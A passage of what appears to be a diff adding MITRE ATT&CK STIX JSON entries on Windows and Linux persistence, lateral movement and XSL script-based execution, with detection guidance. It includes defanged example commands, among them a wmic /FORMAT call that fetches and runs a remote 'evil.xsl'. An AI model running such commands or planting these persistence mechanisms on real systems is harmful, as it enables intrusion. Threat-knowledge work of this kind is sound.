"https://www.defcon.org/images/defcon-22/dc-22-presentations/Kazanciyan-Hastings/DEFCON-22-Ryan-Kazanciyan-Matt-Hastings-Investigating-Powershell-Attacks.pdf" + }, + { + "source_name": "Mandiant M-Trends 2015", + "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Medium Detecting WMI Persistence", + "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Windows Management Instrumentation Event Subscription", + "x_mitre_data_sources": [ + "Command: Command Execution", + "Process: Process Creation", + "WMI: WMI Creation" + ], + "x_mitre_version": "1.2", + "modified": "2021-10-16T20:11:13.719Z", + "created": "2020-01-24T14:07:56.276Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "id": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs. Examples of events that may be subscribed to are the wall clock time, user loging, or the computer's uptime. (Citation: Mandiant M-Trends 2015)\n\nAdversaries may use the capabilities of WMI to subscribe to an event and execute arbitrary code when that event occurs, providing persistence on a system. (Citation: FireEye WMI SANS 2015) (Citation: FireEye WMI 2015) Adversaries may also compile WMI scripts into Windows Management Object (MOF) files (.mof extension) that can be used to create a malicious subscription. (Citation: Dell WMI Persistence) (Citation: Microsoft MOF May 2018)\n\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.", + "x_mitre_contributors": [ + "Brent Murphy, Elastic", + "David French, Elastic" + ], + "x_mitre_detection": "Monitor WMI event subscription entries, comparing current WMI event subscriptions to known good subscriptions for each host. Tools such as Sysinternals Autoruns may also be used to detect WMI changes that could be attempts at persistence. (Citation: TechNet Autoruns) (Citation: Medium Detecting WMI Persistence) Monitor for the creation of new WMI EventFilter, EventConsumer, and FilterToConsumerBinding events. Event ID 5861 is logged on Windows 10 systems when new EventFilterToConsumerBinding events are created.(Citation: Elastic - Hunting for Persistence Part 1)\n\nMonitor processes and command-line arguments that can be used to register WMI persistence, such as the Register-WmiEvent [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlet (Citation: Microsoft Register-WmiEvent), as well as those that result from the execution of subscriptions (i.e. spawning from the WmiPrvSe.exe WMI Provider Host process).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1546/003", + "external_id": "T1546.003", + "source_name": "mitre-attack" + }, + { + "source_name": "Mandiant M-Trends 2015", + "description": "Mandiant. (2015, February 24). M-Trends 2015: A View from the Front Lines. Retrieved May 18, 2016.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-m-trends-2015.pdf" + }, + { + "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/sans-dfir-2015.pdf", + "description": "Devon Kerr. (2015). There's Something About WMI. Retrieved May 4, 2020.", + "source_name": "FireEye WMI SANS 2015" + }, + { + "source_name": "FireEye WMI 2015", + "description": "Ballenthin, W., et al. (2015). Windows Management Instrumentation (WMI) Offense, Defense, and Forensics. Retrieved March 30, 2016.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf" + }, + { + "source_name": "Dell WMI Persistence", + "description": "Dell SecureWorks Counter Threat Unit\u2122 (CTU) Research Team. (2016, March 28). A Novel WMI Persistence Implementation. Retrieved March 30, 2016.", + "url": "https://www.secureworks.com/blog/wmi-persistence" + }, + { + "url": "https://docs.microsoft.com/en-us/windows/win32/wmisdk/managed-object-format--mof-", + "description": "Satran, M. (2018, May 30). Managed Object Format (MOF). Retrieved January 24, 2020.", + "source_name": "Microsoft MOF May 2018" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Medium Detecting WMI Persistence", + "description": "French, D. (2018, October 9). Detecting & Removing an Attacker\u2019s WMI Persistence. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-removing-wmi-persistence-60ccbb7dff96" + }, + { + "url": "https://www.elastic.co/blog/hunting-for-persistence-using-elastic-security-part-1", + "description": "French, D., Murphy, B. (2020, March 24). Adversary tradecraft 101: Hunting for persistence using Elastic Security (Part 1). Retrieved December 21, 2020.", + "source_name": "Elastic - Hunting for Persistence Part 1" + }, + { + "url": "https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.management/register-wmievent?view=powershell-5.1", + "description": "Microsoft. (n.d.). Retrieved January 24, 2020.", + "source_name": "Microsoft Register-WmiEvent" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-11T18:30:20.937Z", + "name": "Windows Remote Management", + "created": "2017-05-31T21:30:33.723Z", + "id": "attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1028", + "external_id": "T1028", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/555.html", + "external_id": "CAPEC-555", + "source_name": "capec" + }, + { + "source_name": "Microsoft WinRM", + "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/aa384426" + }, + { + "source_name": "Jacobsen 2014", + "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.", + "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2" + }, + { + "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc", + "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.", + "source_name": "Medium Detecting Lateral Movement" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Windows Remote Management", + "x_mitre_data_sources": [ + "Service: Service Metadata", + "Process: Process Creation", + "Network Traffic: Network Connection Creation", + "Logon Session: Logon Session Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-06-23T19:22:52.870Z", + "created": "2020-02-11T18:29:47.757Z", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "description": "Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_detection": "Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1021/006", + "external_id": "T1021.006", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft WinRM", + "description": "Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014.", + "url": "http://msdn.microsoft.com/en-us/library/aa384426" + }, + { + "source_name": "Jacobsen 2014", + "description": "Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.", + "url": "https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2" + }, + { + "source_name": "MSDN WMI", + "description": "Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.", + "url": "https://msdn.microsoft.com/en-us/library/aa394582.aspx" + }, + { + "url": "https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc", + "description": "French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.", + "source_name": "Medium Detecting Lateral Movement" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-09-16T15:49:58.490Z", + "name": "Windows Service", + "x_mitre_data_sources": [ + "Service: Service Creation", + "Service: Service Modification", + "Process: Process Creation", + "Process: OS API Execution", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Creation", + "Windows Registry: Windows Registry Key Modification" + ], + "x_mitre_version": "1.1", + "created": "2020-01-17T19:13:50.402Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32", + "description": "Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075). \n\nAdversaries may install a new service or modify an existing service by using system utilities to interact with services, by directly modifying the Registry, or by using custom tools to interact with the Windows API. Adversaries may configure services to execute at startup in order to persist on a system.\n\nAn adversary may also incorporate [Masquerading](https://attack.mitre.org/techniques/T1036) by using a service name from a related operating system or benign software, or by modifying existing services to make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used. \n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges from administrator to SYSTEM. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002). ", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Matthew Demaske, Adaptforward", + "Travis Smith, Tripwire", + "Pedro Harrison" + ], + "x_mitre_effective_permissions": [ + "Administrator", + "SYSTEM" + ], + "x_mitre_detection": "Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1543/003", + "external_id": "T1543.003", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/478.html", + "external_id": "CAPEC-478", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/550.html", + "external_id": "CAPEC-550", + "source_name": "capec" + }, + { + "url": "https://capec.mitre.org/data/definitions/551.html", + "external_id": "CAPEC-551", + "source_name": "capec" + }, + { + "source_name": "TechNet Services", + "description": "Microsoft. (n.d.). Services. Retrieved June 7, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc772408.aspx" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + }, + { + "source_name": "Microsoft 4697 APR 2017", + "description": "Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697" + }, + { + "source_name": "Microsoft Windows Event Forwarding FEB 2018", + "description": "Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.", + "url": "https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T17:07:19.762Z", + "name": "Winlogon Helper DLL", + "created": "2017-05-31T21:30:20.148Z", + "id": "attack-pattern--514ede4c-78b3-4d78-a38b-daddf6217a79", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1004", + "external_id": "T1004", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/579.html", + "external_id": "CAPEC-579", + "source_name": "capec" + }, + { + "source_name": "Cylance Reg Persistence Sept 2013", + "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.", + "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-04-21T16:00:41.277Z", + "name": "Winlogon Helper DLL", + "x_mitre_data_sources": [ + "Windows Registry: Windows Registry Key Modification", + "Module: Module Load", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "created": "2020-01-24T16:59:59.688Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "x_mitre_permissions_required": [ + "SYSTEM", + "Administrator" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--6836813e-8ec8-4375-b459-abb388cb1a35", + "description": "Adversaries may abuse features of Winlogon to execute DLLs and/or executables when a user logs in. Winlogon.exe is a Windows component responsible for actions at logon/logoff as well as the secure attention sequence (SAS) triggered by Ctrl-Alt-Delete. Registry entries in HKLM\\Software[\\\\Wow6432Node\\\\]\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ and HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\ are used to manage additional helper programs and functionalities that support Winlogon. (Citation: Cylance Reg Persistence Sept 2013) \n\nMalicious modifications to these Registry keys may cause Winlogon to load and execute malicious DLLs and/or executables. Specifically, the following subkeys have been known to be possibly vulnerable to abuse: (Citation: Cylance Reg Persistence Sept 2013)\n\n* Winlogon\\Notify - points to notification package DLLs that handle Winlogon events\n* Winlogon\\Userinit - points to userinit.exe, the user initialization program executed when a user logs on\n* Winlogon\\Shell - points to explorer.exe, the system shell executed when a user logs on\n\nAdversaries may take advantage of these features to repeatedly execute malicious code and establish persistence.", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Monitor for changes to Registry entries associated with Winlogon that do not correlate with known software, patch cycles, etc. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current Winlogon helper values. (Citation: TechNet Autoruns) New DLLs written to System32 that do not correlate with known good software or patching may also be suspicious.\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/004", + "external_id": "T1547.004", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/579.html", + "external_id": "CAPEC-579", + "source_name": "capec" + }, + { + "source_name": "Cylance Reg Persistence Sept 2013", + "description": "Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018.", + "url": "https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order" + }, + { + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "XDG Autostart Entries", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_version": "1.0", + "modified": "2020-11-10T15:55:10.103Z", + "created": "2019-09-10T18:13:12.195Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--e0232cb0-ded5-4c2e-9dc7-2893142a5c11", + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "User", + "root" + ], + "description": "Adversaries may modify XDG autostart entries to execute programs or commands during system boot. Linux desktop environments that are XDG compliant implement functionality for XDG autostart entries. These entries will allow an application to automatically start during the startup of a desktop environment after user logon. By default, XDG autostart entries are stored within the /etc/xdg/autostart or ~/.config/autostart directories and have a .desktop file extension.(Citation: Free Desktop Application Autostart Feb 2006)\n\nWithin an XDG autostart entry file, the Type key specifies if the entry is an application (type 1), link (type 2) or directory (type 3). The Name key indicates an arbitrary name assigned by the creator and the Exec key indicates the application and command line arguments to execute.(Citation: Free Desktop Entry Keys)\n\nAdversaries may use XDG autostart entries to maintain persistence by executing malicious commands and payloads, such as remote access tools, during the startup of a desktop environment. Commands included in XDG autostart entries with execute after user logon in the context of the currently logged on user. Adversaries may also use [Masquerading](https://attack.mitre.org/techniques/T1036) to make XDG autostart entries look as if they are associated with legitimate programs.", + "x_mitre_contributors": [ + "Tony Lambert, Red Canary" + ], + "x_mitre_detection": "Malicious XDG autostart entries may be detected by auditing file creation and modification events within the /etc/xdg/autostart and ~/.config/autostart directories. Depending on individual configurations, defenders may need to query the environment variables $XDG_CONFIG_HOME or $XDG_CONFIG_DIRS to determine the paths of Autostart entries. Autostart entry files not associated with legitimate packages may be considered suspicious. Suspicious entries can also be identified by comparing entries to a trusted system baseline.\n \nSuspicious processes or scripts spawned in this manner will have a parent process of the desktop component implementing the XDG specification and will execute as the logged on user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/013", + "external_id": "T1547.013", + "source_name": "mitre-attack" + }, + { + "source_name": "Free Desktop Application Autostart Feb 2006", + "description": "Free Desktop. (2006, February 13). Desktop Application Autostart Specification. Retrieved September 12, 2019.", + "url": "https://specifications.freedesktop.org/autostart-spec/autostart-spec-latest.html" + }, + { + "source_name": "Free Desktop Entry Keys", + "description": "Free Desktop. (2017, December 24). Recognized Desktop Entry Keys. Retrieved September 12, 2019.", + "url": "https://specifications.freedesktop.org/desktop-entry-spec/1.2/ar01s06.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "XSL Script Processing", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1220", + "external_id": "T1220", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft XSLT Script Mar 2017", + "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using . Retrieved July 3, 2018.", + "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script" + }, + { + "source_name": "Microsoft msxsl.exe", + "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.", + "url": "https://www.microsoft.com/download/details.aspx?id=21714" + }, + { + "source_name": "Penetration Testing Lab MSXSL July 2017", + "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018.", + "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/" + }, + { + "source_name": "Reaqta MSXSL Spearphishing MAR 2018", + "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.", + "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/" + }, + { + "source_name": "XSL Bypass Mar 2019", + "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019.", + "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75" + }, + { + "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/", + "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.", + "source_name": "LOLBAS Wmic" + }, + { + "source_name": "Twitter SquiblyTwo Detection APR 2018", + "description": "Desimone, J. (2018, April 18). Status Update. Retrieved July 3, 2018.", + "url": "https://twitter.com/dez_/status/986614411711442944" + } + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Module: Module Load" + ], + "x_mitre_version": "1.2", + "modified": "2021-02-09T15:07:00.842Z", + "x_mitre_system_requirements": [ + "Microsoft Core XML Services (MSXML) or access to wmic.exe" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control", + "Digital Certificate Validation" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* msxsl.exe customers[.]xml script[.]xsl\n* msxsl.exe script[.]xsl script[.]xsl\n* msxsl.exe script[.]jpeg script[.]jpeg\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: wmic process list /FORMAT:evil[.]xsl\n* Remote File: wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d", + "x_mitre_contributors": [ + "Avneet Singh", + "Casey Smith", + "Praetorian" + ], + "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.", + "created": "2018-10-17T00:14:20.652Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--483a70b9-eae9-4d5f-925c-95c2dd7b9fa5", + "target_ref": "attack-pattern--ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", + "modified": "2020-02-05T20:08:34.059Z", + "source_ref": "course-of-action--beb45abb-11e8-4aef-9778-1f9ac249784f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "mitigates", + "created": "2017-05-31T21:33:27.026Z" + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--f24d37c0-283d-4f37-8278-07fc75cc0e94", + "description": "(Citation: Symantec Buckeye)", + "target_ref": "malware--4e6b9625-bbda-4d96-a652-b3bb45453f26", + "modified": "2019-04-29T18:01:20.637Z", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-01-16T16:13:52.465Z", + "external_references": [ + { + "source_name": "Symantec Buckeye", + "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", + "url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "relationship", + "id": "relationship--857b5ce3-0eb0-4dae-a034-42cfa306a447", + "description": "[APT37](https://attack.mitre.org/groups/G0067) has used exploits for Flash Player (CVE-2016-4117, CVE-2018-4878), Word (CVE-2017-0199), Internet Explorer (CVE-2020-1380 and CVE-2020-26411), and Microsoft Edge (CVE-2021-26411) for execution.(Citation: Securelist ScarCruft Jun 2016)(Citation: FireEye APT37 Feb 2018)(Citation: Talos Group123)(Citation: Volexity InkySquid BLUELIGHT August 2021)", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "modified": "2021-10-15T16:54:01.174Z", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "relationship_type": "uses", + "created": "2018-04-18T17:59:24.739Z", + "external_references": [ + { + "source_name": "Securelist ScarCruft Jun 2016", + "description": "Raiu, C., and Ivanov, A. (2016, June 17). Operation Daybreak. Retrieved February 15, 2018.", + "url": "https://securelist.com/operation-daybreak/75100/" + }, + { + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018" + }, + { + "source_name": "Talos Group123", + "description": "Mercer, W., Rascagneres, P. (2018, January 16). Korea In The Crosshairs. Retrieved May 21, 2018.", + "url": 